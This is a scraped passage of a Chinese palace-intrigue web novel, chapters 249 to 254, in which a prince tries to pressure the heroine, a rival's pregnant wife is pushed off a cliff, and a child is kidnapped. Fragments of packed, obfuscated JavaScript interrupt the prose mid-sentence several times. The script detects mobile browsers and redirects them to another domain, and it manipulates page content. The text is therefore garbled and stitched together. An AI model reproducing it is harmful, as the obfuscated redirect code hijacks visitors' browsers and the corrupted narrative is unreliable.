l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349484|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人给做了端上来,今晚县主想吃什么,都算在我的账上?” 他一边说着,抬头看姜云舒表情,见她依旧不动声色,沉沉叹一口气,“以后再有什么情况,一定他以前给县主通报,您就绕我这一回吧!” 眼瞧着掌柜都要哭了,姜云舒这才忍不住“噗呲”一声笑了。 “之前就算了吧,往后,你若再把我往坑里带,你这明月楼,我可不来了!”姜云舒瞪着眼睛。 “哎,是,是!”万掌柜紧忙应着。 说话的功夫,已经到了姜云舒特定的雅间,万掌柜好话又说了一箩筐,见姜云舒是真没与他计较,这才松一口气,往楼下走。 “小姐,您今日怎的跟万掌柜计较上了?”月禾说着,将倒好的茶递到姜云舒面前。 小姐性格爽朗,平日里与人相处,只要不犯她的机会,都会得过且过,今日这般为难万掌柜,可不像是她的风格。 姜云舒伸手接过来,浅浅抿一口,才道:“不是跟他计较,而是有些事情,得让他知道我的底线,他可以听从元老太妃的话,但我也不是他随便蒙骗的。” “小姐说得是。” 月禾点头,回想起那日元太妃和小姐说的话,忍不住攥起拳头。 大概是带点讨好的意思,姜云舒这边点好的菜式很快上了桌。 忙了整整一日,姜云舒和月禾也真是饿了,两人分坐两边,正准备吃,便听得门口传来敲门声。 “谁呀!”月禾没好气朝外面应一声。 “是我。”门口传来万掌柜的声音,“县主,三皇子到了,说是想见您。” 刚刚被姜云舒警告一翻,此时万掌柜格外谨慎,便是三皇子到,也得先给姜云舒通个气儿。 “啧!真是饭都不让人好好吃一口!”月禾一脸烦闷的站起身来。 平日里若是没旁人,他们主仆便也没有那么多规矩,一桌用饭也是常事,有外人在,这顿饭她就吃不成了,尤其三皇子这个爱挑刺的来,别说她,小姐也别想吃。 姜云舒也蹙着眉沉了一口气,朝外面应一声,“请他上来吧。” 第249章 罪同谋逆 “是!” 万掌柜应声,随即脚步声下了楼。 须臾功夫,三皇子上了楼,此时姜云舒正在喝茶,月禾在旁边伺候着。 见三皇子进来,姜云舒起身行礼,“参见三殿下。” “私下见面,就不必多礼了。” 三皇子说着,转身关了门,扭头瞧见月禾也在,本想让她退下,可想起上次同样在明月楼时的情景,话到嘴边终究还是作罢 “不知三皇子前来,所谓何事?”姜云舒转身,坐回刚才的位置。 三皇子走上前,随着姜云舒坐在另一边。 “县主性子直爽,孤也就不跟你绕弯子了。”三皇子抬眸,视线落在姜云舒脸上,“凤台山**,是你吧。” 姜云舒喝茶的动作一滞,撩起眼皮看三皇子一眼,很快又恢复平常的淡然。 “三皇子不必言谢,这是臣应该做的。”她开口,轻描淡写。 “你!” 三皇子被猛地噎了一句,顿时瞪大眼睛。 他想象中,姜云舒会因为被他戳穿而慌乱,亦或者,强撑着镇定矢口否认,却没想到,她不光认了,还大言不惭的跟他说不必道谢? 呵,这女人八成是实心疯了吧! “呵,姜云舒,你可真是好大的胆子!”三皇子咬牙切齿。 姜云舒扭头朝三皇子看一眼,眉梢微垂。 “三皇子这是何意?臣明明帮了三皇子啊!” “帮我?哼!” 三皇子视线凝在姜云舒脸上,后槽牙咬紧,“若不是你横空插手,那批**也不会被发现,之后更不会引出那么多的事情,是你多此一举,将事情引到不可控的地步,非但让孤丢了手中权力,还间接毁了庄家,姜云舒,你是不是投奔了老六!” 说话间,三皇子的眼眶逐渐泛红,眼睛上有红血丝蔓延。 “三皇子是这样认为的?” 姜云舒转手将杯盏放在桌上,桌底轻磕桌面,碰撞的声音似乎落在三皇子心上。 “我能查到三皇子私囤**,你以为,信阳侯就没有收到风声?这件事若是信阳侯府揭发出来,别说失了手中权力,你三皇子还能不能光明正大站在这里都说不定!” 一句话,说得三皇子眼神闪烁,他嘴角动了动,却没有找到一句合适的话反击,他无从反击。 线人的确传消息,信阳侯要在狩猎节有所动作,只是这动作是不是奔着他私囤的**来的,不得而知。 三皇子没反驳,姜云舒便接着说:“说到庄家,毁了庄家的难道不是三殿下吗?” 她扭头,应着三皇子震惊的目光直直看了回去。 将庄锡恒咬成废人的可是那黑熊,而那黑熊,是三皇子用来看守山洞的,和自己有什么关系? 三皇子嘴角轻颤,半晌,他眉心一拧。 “姜云舒,你这可是明着与孤作对,你就不怕得罪孤,你定国将军府再难翻身?” 姜云舒抬头,应着三皇子警告的视线看过去,唇畔微微勾起一抹弧度。 “定国将军府的案子,皇上的判决便是最终定案,即便最后有转机,也不会再翻案,至于三殿下口口声声我与你作对,你怕是想多了。” 说着,她站起身来,侧身看向窗外,“自皇上登基,朝中局势刚刚平稳,边境又开始蠢蠢欲动,此时,若皇后娘娘娘因为三殿下的缘故与皇上生出嫌隙,你猜,最后得意的会是谁?” 三皇子眼神一滞,他的目光和姜云舒的视线交错,脑子里快速闪现出几种可能。 姜云舒深吸一口气,“皇上正值壮年,三殿下和六殿下之间的较量在于谁的能力更为突出,而不是相互给对方使绊子,凤台山**一事,皇上对于三殿下来说已经足够偏袒,三殿下不应该来找我的。” 说完,她转身坐回去,此时,月禾刚刚给她杯中蓄满了茶水。 三皇子蹙眉思量,他看不透姜云舒,更猜不出姜云舒折腾这一圈的真实目的。 “难怪父皇和母后都称赞你,你这个人,真真是长了一颗七窍玲珑心。” 说着,他也端起杯盏,低头抿一口茶,半眯起眼睛,看向姜云舒。 “不得不承认,孤的确欣赏你,你若能帮孤做事,孤虽不能承诺为你定国将军府翻案,但至少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16354759|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让你家人回京,免受苦寒之罪,还是能做到的。” 三皇子眉梢轻挑,往姜云舒跟前凑近几分,压低了声音,“近日韩昀率兵前往凉州,你可知,他调的是私兵?” “私兵?” 姜云舒抬头,眼中闪过诧异。 不是说韩昀是受太师之命,调兵前往凉州平定内乱吗?怎么又成了私兵? 见姜云舒这般反应,三皇子眼底闪过一瞬得意,接着说:“你年幼不在京中,大概不知情,韩昀和太师府嫡长女庄心妍本是青梅竹马,当年也是差点要定亲的关系,可偏偏当时太师府受困于凉州之地,为了得到凉州提督赵凌鹤的兵力支持,这才拆散了他们,这一次凉州的境况的确严峻,但对于韩昀来说,更危急的是庄心妍的性命。” 说着话,三皇子端起杯盏喝了一口茶,见姜云舒正等着他的后文,清了清嗓子,继续说。 “边境战乱,凉州被贡献,提督赵凌鹤将妾室转移离开凉州,同时频繁带庄心妍出入提督府,其中安的什么心思,可想而知。” 姜云舒蹙眉,这时要让庄心妍当挡箭牌,亦或者,是在逼庄太师出兵。 三皇子瞧着姜云舒的神情变化,眉梢舒展,继续道:“你也知道,凉州边境驻守的是母后的势力,此时若出兵,定然能修复她与庄太师的关系,但此时边境战事紧张,她不可能调兵,韩昀耐不住性子,便调了私兵前往。” 姜云舒深吸一口气,回过头来迎着三皇子的视线看去。 “三殿下说了这么多,是想让我在这其中扮演什么角色呢?” 和聪明人对话,有些弯弯绕可以直接略过。 “孤要你协助韩昀,救出庄心妍。”三皇子眸光一闪。 救出庄心妍的前提便是保住韩昀,这件事若做成,这个人情足以让庄太师和皇后的关系缓和,届时三皇子背后助力便能大幅度增强。 只是三皇子这番要求,确让姜云舒唇畔笑容凝住。 “三殿下凭什么认为,我有能力协助边境战事?你应该清楚,定国将军府已经覆灭,我手中若有可调遣的兵力,那便是拥兵自重,罪同谋逆。” 第250章 你是在威胁我? “何必这样紧张,孤并未提及你手下有可调遣的兵力。” 三皇子勾了勾唇角,面上带出丝丝笑意,“不过,你应该知道,忻城位于凉州边境,而恭王府在忻城有兵力驻守,若恭王爷能调兵增援,不光能在最小损失之内救下庄心妍,还能保下韩昀。” 姜云舒神情收敛,撩起眼皮朝三皇子看一眼,轻笑出声。 “三殿下这是想拉恭王府下水?” “话不是这样说的,孤不过是想请恭王府帮个小忙而已。”三皇子将杯盏放下。 “既然是恭王府出兵,三殿下应该去恭王府谈,而不是与我商议。” 姜云舒面上依旧挂着笑意,只是笑容不达眼底,多了几分敷衍和试探。 “你是知道的……”三皇子稍稍叹一口气,“恭王和太师的关系并不融洽,更何况还是调动城守卫兵,他怕是……” 话未说完,但意思已经表明,这事儿在恭王跟前根本行不通。 “既然三殿下知道,又何苦来找我过这一道门槛呢,我并不觉得我的面子比三殿下还要大。” 姜云舒抬手,手指点在桌面上,“我姜家和闵家关系虽好,但我毕竟不是恭王府的子女,这件事怕是帮不上三殿下。” 她的笑容收敛,面上神情多了几分沉冷,这事儿,没有商量的必要。 拒绝的意思再明显不过,三皇子蹙眉,脸色也跟着沉了几分。 “你确定不帮忙?” 三皇子盯着姜云舒的表情,唇畔笑容逐渐诡异,“你能查到孤的背后之事,你该不会认为,你做的事情便密不透风吧?” 京城各势力之所以能相互抗衡,自然有他们各自行事的根据,在皇上眼皮子底下,手脚干净不能成事,之所以还有此时的平衡,完全是权衡利弊之后的按兵不动。 自开春以来,姜云舒在京城诸多动作,也免不了成为各势力眼中的钉子。 “三皇子这是在威胁我?” 姜云舒手指点着桌面的动作一直,她抬头,应着三皇子的视线看去,“难不成,三殿下觉得,我与你一样,也私囤**?” “说不准呢,你看起来人畜无害,但本性却不是能安分守己之人。” 三皇子眼睛半眯,稍稍压低了声音,“自太后薨逝时,你替父皇挡的那一刀开始,你姜家的这股势力逐渐攀升起来,姜云舒,你敢说到如今种种,不是你周全布局而来?” 不得不说,在揣摩人心这一块,三皇子的确比六皇子要看得更为深远。 但,能让人看出来的,都不是姜云舒想要隐藏的。 姜云舒在三皇子的注视下,抬手拿过酒杯,倒了一杯酒递到三皇子跟,随即起身。 “那就请三殿下向皇上告发我吧!” 颇有一股破罐子破摔的架势。 三皇子盯着那杯酒,面色骤然一沉。 当朝百官之中,他还从来没有被这般挑衅! 明明身后再无靠山,她是从哪里来的自信,敢与堂堂三皇子对质! “好,姜云舒,你可真是好得很!既然你冥顽不灵,就别怪孤不给你留面子!” 说完,三皇子猛地起身,拂袖而去。 姜云舒站在原地不动声色,在三皇子愤怒离开后,转身拿过那杯酒,仰头饮下。 月禾看了姜云舒一眼,紧忙转身打开窗户,眼见着三皇子怒气冲冲离开,又紧忙关了窗户,转身回来。 “小姐,刚才三皇子的话,该不会知道了吧?”月禾拧着眉头,面上多了几分紧张。 要说雷火,在沈清安回京时,她们也的确运了一批雷土进城,难不成,已经被三皇子发现了? 姜云舒转手将酒杯放下,面上并未浮现丝毫紧张。 “不会,三皇子若知道了那批雷土的存在,就不是刚才那般无能狂怒的样子了。”她道。 月禾紧张的表情稍稍缓和,随即又道:“可是因为凤台山****的缘故,如今京城加大了搜查力度,万一咱们……” “不必担心,凤台山私囤**一案,皇上对于三皇子的处罚已经表明态度,兵部那帮人并非靠蛮力才能坐上那个位置,自然明白皇上的意思,放心,他们不会盯着三皇子不放,三皇子不出事,那批 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16354760|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雷土就不会出事。” 姜云舒坐回餐桌前,抬手给月禾倒了一杯酒。 月禾见她平静如常,这才稍稍松一口气,“不过,庄大小姐到底与裴世子有所关联,咱们真不管吗?” 庄心妍是庄心悦同母的姐姐,裴钰自然会管,既然是裴钰的事,姜云舒也没有袖手旁观的道理。 “做我们能力范围之内的事吧,无愧于心就好。”姜云舒暗自叹一口气。 京城之中,终究有她无能为力的事情,更何况,在没有把握之前,这一趟浑水,她蹚进来只能让事情变得更加复杂。 时光流逝,夏季悄然而至,温暖的阳光拥抱大地,艳阳之中带着几分袒露又有几分收敛,让人捉摸不透。 半月之后,锦州传来消息,在沈清安和工部官员共同治理之下,锦州城中水位下降,水患得意控制。 皇上龙颜大悦,命沈清安处理剩下事务之后,调反回京。 沈家在压抑两个月之后,难得迎来喜事。 沈家老夫人向来是个招摇的性子,消息传回京城便立刻着人张灯结彩,炮仗点了几十挂。 这样大的喜事,沈管家还建议老夫人在门口打赏钱施粥,结果沈老夫人看了看沈家这两月的进项,还是免了,不过散财是免了,但上崇光寺还愿却是免不了的。 当日,沈老夫人便催促高芝兰安排全家上山礼佛还愿。 高芝兰此时刚过了孕吐干呕的阶段,身子也稍稍恢复几分,见老夫人高兴,便也只能陪着。 清晨天蒙蒙亮,沈家的马车便朝着城门驶去,直奔崇光寺。 自沈清安升官之后,沈家如今也算是四品官员内眷,便也有了进出崇光寺内院的资格。 也正是有了这殊荣,自沈清安离京之后,沈老夫人可没少过来上香显摆。 马车一路朝着崇光寺驶去,为了争求第一炷香,沈老夫人一路要求从最近的小路去。 一路颠簸,高芝兰紧张得护着肚子,一边蹙眉劝。 “母亲,小路崎岖多险地,咱们出城尚早,还是走官道最为稳妥。”她莫名紧张。 第251章 跌落悬崖 “你懂什么!” 沈老夫人没好气给了高芝兰一个白眼,“我昨日刚看过了,特意算的吉时,如今走官道可来不及,你也知道如今时间尚早,小路是崎岖了些,你换上软垫也并不防事。” 高芝兰拧着眉头还想再说,却见老夫人一个冷眼瞪了过来。 “既然是还愿,自然是要带上最大的诚意,你这样,怕是要让菩萨怪罪的!” 一句话,堵了高芝兰的嘴。 自从上次高芝兰那财官运的三才命格被戳破之后,老夫人对她已经没了之前的好脸色,若非此时肚子里又多了一个,依照老夫人的意思,早已经将她送去了庄子上。 沈家人,向来都是这般薄凉。 高芝兰抿着唇不说话,下意识抓紧了马车边缘,然而,就在马车驶离官道进入山林时,忽然见几道人影冲了出来。 “你,你们是什么人!” 老夫人吓得脸都白了。 高芝兰也下意识往后缩了缩,看着那几个手持寒刀的黑衣人,心中一片慌乱。 这里可是京城地界,就连黑云寨都被收了,怎么还得**? 不,不对,看着那些人手上的武器和装扮,他们不是山匪,是有人特意派来的。 是要**,还是要命? 此时高芝兰一颗心都提到了嗓子眼,眼看着那**上前将老夫人从马车里拽下去,她猛地抢过缰绳,调转马车就往回跑。 以前在岩城,高芝兰也曾帮崔家运过药材,她是会赶马车的,可架不住此时又惊又怕,还要顾着自己的肚子,马车在山路上跌跌撞撞的往前跑,找不到方向。 “竟敢逃,杀了你!” 黑衣人从后面追着,高芝兰越发慌不择路,等到了悬崖边上,她才绝望的意识到,今日必死无疑。 “你,你们是什么人!”高芝兰青白着脸色,瞪大的眼中尽是恐惧。 “将死之人,没必要知道那么多!” 黑衣人并不多说,几个人上前,抬脚踹在了那摇摇欲坠的马车上。 “啊——” 凄厉的惨叫声惊飞了悬崖之下栖息的鸟群。 整辆马车带着人,噼里啪啦的往山涧下坠落。 黑衣人一路跟到悬崖边上,眼瞧着那马车已经碎成了劈柴,扭头,此时黑暗之中走出的人,正是准备回京的沈清安。 “**?” 沈清安的声音在黑夜之中透着寒凉。 “此处悬崖之下多为荆棘丛生,十仗的高度,难有生还。”黑衣人禀报。 沈清安没有说话,此时跟过来的沈老夫人忍不住双手合十。 “阿弥陀佛。” 她战战兢兢走到悬崖边上,双眼紧闭,“高氏,你放心去吧,我会帮你好好照顾长元,也会厚葬于你,看在长元的份儿上,你可千万别记恨我们啊,怪只能怪你命不好。” 一句“命不好”便否定了一个女人为他沈家操持多年,生儿育女的付出,一如当初他们对待姜云舒那般。 清晨的阳光带着深夜的寒凉洒向大地,光芒从窗户透进来,在地上落下斑驳的痕迹。 姜云舒是被敲门声吵醒的,睁开眼应一声,外面很快传来月禾急促的声音。 “小姐,消息传开了,高芝兰清早出城,马车坠落悬崖。” 姜云舒挑眉,起身坐在床边,“沈家老夫人如何?” 她声音之中依旧透着尚未清醒的慵懒,说话的功夫起身下床。 此时月禾已经端着洗漱的一应物什进来,将手巾润湿后递过来。 “听说沈老夫人摔伤了腿,受了惊吓,卧病不起呢。”月禾回道。 “摔伤了腿……” 姜云舒低沉的嘟哝一句,唇畔勾起的笑意之中带着几分冷嘲,“走吧,出去看看。” 之前沈清安将高芝兰带回来时,可是大张旗鼓的声明那是沈家主母,如今主母丧命,这丧事可是要操办一番的。 用过早膳,姜云舒和月禾到四方楼时,沈家已经挂起了岁头纸,哭声从沈宅里传出来,哭嚎声震天。 四方楼位于沈宅街道对侧,三楼雅间透过窗户刚好能看到沈宅二进院子的境况。 依照回城安排,此时沈清安还在路上,老夫人受伤卧床不能起,沈家这丧事便落在了沈清睿身上。 “沈家这丧事办得还真是热闹。” 月禾过来,给姜云舒的杯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大长公主的特赦令 “都退下吧。” 大长公主摆摆手,屏退左右。 月禾看了姜云舒一眼,随着大长公主府众人退了出去。 此时书房只剩姜云舒和大长公主两人。 姜云舒掏出信封,双手奉于大长公主跟前、 “锦姒郡主来信,还请大长公主查看。” 大长公主眸光一闪,她想尽量保持平静,可起身时碰到桌边,依旧暴露了她此时的紧张。 她眼神闪烁着,伸手接过姜云舒递过来的信,小心翼翼的拆开,视线落于信纸上的字里行间。 越看,大长公主的情绪越是压抑不住,眼眶也跟着红了起来。 和亲公主,自出嫁之后,未经允许,不得与母族通信,所以,自锦姒出嫁那日,大长公主得知女儿的消息都是通过别人口中,如今这还是这六年间第一次和女儿再度联系。 是,是锦姒! 不只是锦姒的笔迹,就连信中提及他们的过往也是只有她和锦姒才知道的母女之间的小秘密。 她还活着,如她信中所说,在姜云舒的安排下,锦姒两年前在北夷二皇子失踪时就已经被转移到了安全的地方,不只是锦姒,就连两个孩子也跟在她身边。 姜云舒垂首站在边上不说话,只是看到平日里严肃端庄的大长公主在得到锦姒消息时这番反应,莫名的想到了自己的母亲。 即便有书信来往,可她们母女依旧多年不得相见,若此时她忽然出现在娘面前,娘是不是也会和大长公主这般激动? 姜云舒想想着母亲激动眼红的模样,自己心里也酸酸涩涩的。 两三页纸的信,大长公主生生看了一炷香的时间,等她终于恢复平静,这才抬头看向姜云舒。 “这些年,锦姒得你照顾,本宫应该跟你道一声谢。”大长公主看向姜云舒。 姜云舒抬头,迎着大长公主的视线,承了她这份谢意。 “是锦姒郡主机敏聪慧,在最恰当的时间进行了自救,我才有机会将她们带回安全之地,原本,锦姒郡主的意思是等北夷二皇子接回他们母子,可一直都没有找到他的音信。” 此时在北夷,二皇子已经是叛逃之人,将锦姒郡主交给北夷,那她和两个孩子便是必死无疑,而此时她对于大瑞来说是和亲公主,嫁入他国皇室,也不能直接送回大长公主身边,如今也只能在姜云舒的保护之下,安顿在稳妥之处。 “本宫明白,难为你了。”大长公主点点头。 她明白,姜云舒之所以不对她提及锦姒郡主的事,并非心存威胁之意。 至于请求…… 大长公主将书信收起来,看向姜云舒,“眼看天色已晚,你此时将书信送来,可是有什么要紧的事?” “是。” 姜云舒承认,“夏季中旬,我城南果园要收一批果子运出京城,思来想去,还是走大长公主的长明码头最为稳妥,请大长公主行个方便。” “水果?”大长公主挑眉,看向姜云舒,“这批水果,可是要送往崖州?” “是。”姜云舒不避不闪,直率承认,“如您记挂锦姒郡主,臣亦有记挂的亲人,虽不得相见,也只能用这些东西聊表思念了。” 这话说得大长公主表情再次微微变化,她深吸一口气,抬手将一块令牌递给姜云舒。 “这是长明码头的令牌,你想运送什么,不必知会本宫。” “这……”姜云舒眼神闪烁。 不必知会的意思是,除了水果,若姜云舒还有其他想要送过去的,也可以趁此一起送过去。 大长公主的令牌,便是兵部也不敢随意搜查,这便是大长公主对她开的特赦令。 “早听说你城南果园种植了南方的水果,若有剩,给本宫也送些过来尝尝鲜吧。” 大长公主似是随口一说,说完,低头品茶。 “是,届时定会命人挑选上好的送过来!” 姜云舒紧忙上前接了令牌,言语之间不自觉多了几分兴奋。 大长公主抬头看她,两人视线交汇,忍不住相视一笑。 从大长公主府出来,姜云舒正准备喊月禾,此时就见门口石狮子旁边站着一人。 月色朦胧之下,姜云舒眯着眼睛看去,那人正好转过身来,竟是谢无烬。 “你怎么在这里?” 姜云舒眸光一闪,迎了过去。 谢无烬站在原地等她,人还没到跟前,他脸上的笑已经漾开。 “等你。” 说着,姜云舒到跟前,他伸手将她的手拉住,“最近几日,每次去县主府都见不到人,实在没有办法,只能找过来在外面等着了。” 他语气微微低沉,加上那眉心紧促的模样,像极了虎仔受委屈的样子。 姜云舒看着他,这才意识到,自狩猎节回来之后,她四处奔走,的确好好几日都没见谢无烬了。 “你最近不也挺忙的?” 姜云舒仰起头朝他挑了挑眉,“听说,你渊政王府最近有喜事呢。” 听得“喜事”两个字,谢无烬的神情微微沉了下来。 谢怀琛和五公主的婚事虽并未公布,但从裴钰那边已经得知,皇上的确是准备为五公主赐婚,而此时谢怀琛已经出发来京的路上。 “是啊,只是这喜事轮不到我,唉,谁叫我是没有人要的呢。” 谢无烬抿着唇,看向姜云舒,月色之下,他那双幽深眸中的哀怨都快溢出来了。 明明他是世子,如今婚事却被庶弟赶在了前面,而这所谓的“没人要”可真是对姜云舒的控诉了。 姜云舒一时被他这表情噎了一下,想安慰,又觉得他是给自己下了个套,可气氛都到了这里,又不能无视。 两人眼神对视片刻,最终,姜云舒肚子“咕噜”一声,打破了这僵局。 谢无烬一愣,随即忍不住勾起唇角。 “大长公主可真是小气,连饭都不给。” 谢无烬撇撇嘴,拉着姜云舒往外走,“看吧,还是我好,起码不会让你饿着。” 拐角马厩处,月禾已经等着了,之前谢无烬来时看到两匹马便让卫临风将自己的马前走,此时正好与姜云舒共乘一骑。 三人两马朝着明月楼的方向奔去,路上,谢无烬凑近姜云舒跟前,问:“听万掌柜说,你白天已经来过了?” “嗯,不止我,还有三皇子。” 姜云舒说着话扭头,不想,脸颊传来温软的触碰,她心口一缩,仿佛被烫到一般。 第253章 我可能没那么差 谢无烬在侧面看到她明显红了的脸颊,忍不住勾起唇角。 “三皇子来找你兴师问罪?亦或者,旁敲侧击,想要拉你下水?” “更过分,他想通过我的手,拉恭王府下水。”姜云舒回道。 “呵,三皇子的算盘可真是打得霹雳吧啦四处崩。” 谢无烬往前靠了靠,将下巴落在姜云舒肩膀上,“三皇子不是什么好人,离他远一点。” 说完,似乎觉得自己的意思没有表达清楚,又加了一句,“除了三皇子,还有六皇子也要离远一些,裴……裴钰就算了,不过,最近我看谭秉白看你的眼神也让人讨厌。” 谭秉白? 姜云舒扭头朝谢无烬看一眼,“凤台山狩猎,我与谭世子似乎并无交集,你这防备目标又是从何而来?” “他盯着三皇子,自然没有多余的空闲接近你,但你没有发现,那日在擂台上你被庄锡恒偷袭,若非我先一步,冲上去的便是谭秉白。” 说着,谢无烬在姜云舒肩头沉沉叹一口气,“自你创建清风村,便已在朝中各势力的拉扯之中,三皇子自不必多说,目的再明确不过,六皇子年幼看起来天真耿直,可在权利中心长大的孩子,所谓的天真烂漫也不过是浮于权谋心机之上的遮掩,而簇拥在六皇子身后的信阳侯府,更是为了托举六皇子,便是极尽所能。” 极尽所能的手段之中,包括以联姻为名的拉拢。 姜云舒身为罪臣之后,本应在京城之中逐渐被人淡忘,可偏偏她又逐渐崭露头角,甚至剥离“罪臣之女”这个身份,成为了皇上亲封的县主。 一个有封地的县主,足以让人洞察出皇上对姜云舒的看重。 姜云舒心中暗自衡量,正想着,直觉后背有温热贴近,是谢无烬靠过来,将她整个人包裹在披风之中。 这样亲密的贴近让姜云舒一时不适应,正要挪动身体,耳畔再次传来低沉的声音。 “阿舒,这一次能不能多看看我,我可能并不是你想象中那样差。” 他的声音有些无奈,语气之中似乎还带着若有似无得挫败。 上一次退婚,姜云舒在未了解,甚至见都未曾见他的情况下便退了婚,原以为,对于他来说,并不算什么,却不想,对他的伤害这样大。 愧疚从心口涌出,姜云舒一时间竟有些不忍,索性也不挣扎了。 而此时,谢无烬从后面瞧着姜云舒的表情,唇畔无声勾起一抹弧度。 夏季的夜晚,依旧带着丝丝寒凉,两人紧靠在马上,任由夜风从耳边擦过。 眼看着到拐过长街便到了明月楼,此时,另一条路上迎面走过一人。 “属下参见谢世子,乐安县主。” 谢无烬拉住缰绳,马便停在来人跟前。 姜云舒低头瞧着,那人一身侍卫装扮,锦衣皮腰,腰间挎着的刀上雕刻着图案,这图案姜云舒见过,是太师府的族徽。 “你是庄锡恒的人?”她直截了当。 太师府能调动侍卫的不过两人,太师为人高傲,姜云舒想不到他找自己和谢无烬的理由,那么也就只剩一个庄锡恒了。 侍卫见姜云舒一语道破,眸中极快地闪过惊讶,随即又恢复平静。 “我家大公子有要事与谢世子商议,还请移步万宝楼。”侍卫回道。 “要事?本世子可不觉得跟庄锡恒能有什么要紧的事,让开,别耽误我们用晚膳。” 说着,谢无烬手中长剑出鞘,直抵在侍卫跟前。 剑刃之上,寒光凛冽,侍卫却站在原地纹丝不动。 “公子说,若谢世子不来,便将这一物交给世子。” 侍卫上前,将手里的东西递过来。 谢无烬蹙眉,可看清楚侍卫递过来的东西事,脸色骤然变得阴寒。 姜云舒瞧见谢无烬变了脸,猜想那东西定然是重要之人身上的物件。 “听说万宝楼的厨子在京城也是数一数二的,左右要用晚膳,去哪里都一样,不如,我们今晚便去万宝楼试试?” 姜云舒说着,抬手在谢无烬攥着缰绳的手上握了握。 温软的触碰,让谢无烬周身的寒意散了几分,他收回长剑,朝侍卫冷喝一声。 “带路!” 万宝楼作为京城第一大青楼,落座于万宝街正中心,相距明月楼并不算远。 一炷香后,姜云舒和谢无烬的马便停在了万宝楼的门口。 晚上的万宝楼,姜云舒还是第一次见。 不愧是夜场之地,夜越是黑暗,万宝楼便越是灯火通明。 六层高的楼,每一层都坠着红色的灯笼,丝绸点缀在灯笼外侧,里面灯光亮起,照应出来便是七彩的灯笼,整个万宝楼如此装扮起来,称之为富丽堂皇丝毫不为过。 到了门口,侍卫上前一步,带着姜云舒和谢无烬朝里面走。 不是去雅间,而是穿过后庭院,直接到了后院拆房。 庄锡恒的人能在万宝楼将他们带去护院,看来,他与三皇子的关系倒没有受到上一辈的影响,关系亲密的很。 随着往里走,侍卫在一处门口前停住。 “公子,谢世子和乐安县主请过来了。” 随着声音出口,一旁房门打开,庄锡恒挂着那只受伤的残臂迎了出来。 出来时,他面上还带着若有似无的笑意,可抬头瞧见姜云舒时,脸上的表情随之一僵。 不过,也只是瞬间的功夫,到跟前时,庄锡恒的表情依旧带着笑。 “深夜请谢世子前来,多有打扰,还请世子……” “有什么话直接说,别扯些没用的,浪费时间。” 谢无烬略有些不耐烦的打断他。 庄锡恒被噎了一句,面上表情流转,最终还是咬牙压着涌上来的怒意。 “听说渊政王府有一秘术可活死人肉白骨,请世子前来,是希望世子能帮我治疗手臂。” 说着,他低头看了一眼自己的残臂。 半个月的养护,庄锡恒的手臂已经卸下了石膏,只是如今依旧用锦缎挂在脖子上,不能自由动作。 谢无烬挑眉看庄锡恒一眼,深眸之中寒凉闪过,“既然知道是秘术,那你准备用什么来交换?” “自然是为谢世子准备了大礼!” 庄锡恒见这事儿能谈,面上顿时露出兴奋之色,说着,他一摆手,便有侍卫将一个麻袋扛了过来。 到了跟前,侍卫将麻袋往地上一放,随即隔断系着的绳子,麻袋里露出一个人脑袋。 第254章 绑架来的小公子 姜云舒低头,看清楚麻袋里是个孩子,下意识蹙起了眉。 “庄锡恒,你什么意思?” 平白无故,绑架个孩子送过来是什么意思? 庄锡恒瞥了姜云舒一眼,扭头看向一旁的谢无烬。 “谢世子,这小崽子,你应该认识吧?” 他脸上堆着笑,说话间,抬手将那孩子一把拽到了谢无烬跟前。 “哎哟!” 那孩子摔在地上,疼得喊了一声。 谢无烬低垂着眸子,视线落在那孩子身上,脸上神情跟着冷了几分。 “你将他绑过来的?”他扭头,星眸之中深不可探。 庄锡恒瞧着谢无烬脸色阴沉下来,并没有丝毫紧张,反而脸上的笑意更添了一层。 “是啊,我可是费了好大的劲儿才将他弄来的,如今人就在跟前,但凭谢世子处置。” 姜云舒看看那孩子又看看谢无烬,满眼都是疑惑。 虽说谢无烬行事乖张,在外应该也有不少仇家,可这还是个孩子,能跟谢无烬结什么仇? 疑惑之中,姜云舒抬手抓了谢无烬手臂。 谢无烬扭头看他,在她手上拍了拍,视线再次转向庄锡恒。 “你庄大公子可真是好本事,能将他悄无声息从军营之中带出来。” 谢无烬的声音依旧晦暗不明,出口的话更是让人摸不着头脑,但姜云舒从中精准的抓住了一个关键词——军营。 这孩子难不成是哪位守将府上的小公子? 可即便是政敌,那也是战场上见真章,怎的还对府上幼童出手了? 这庄锡恒可真是没品。 这边姜云舒正鄙视,庄锡恒却丝毫不带愧疚之意,甚至脸上还更多了几分得意。 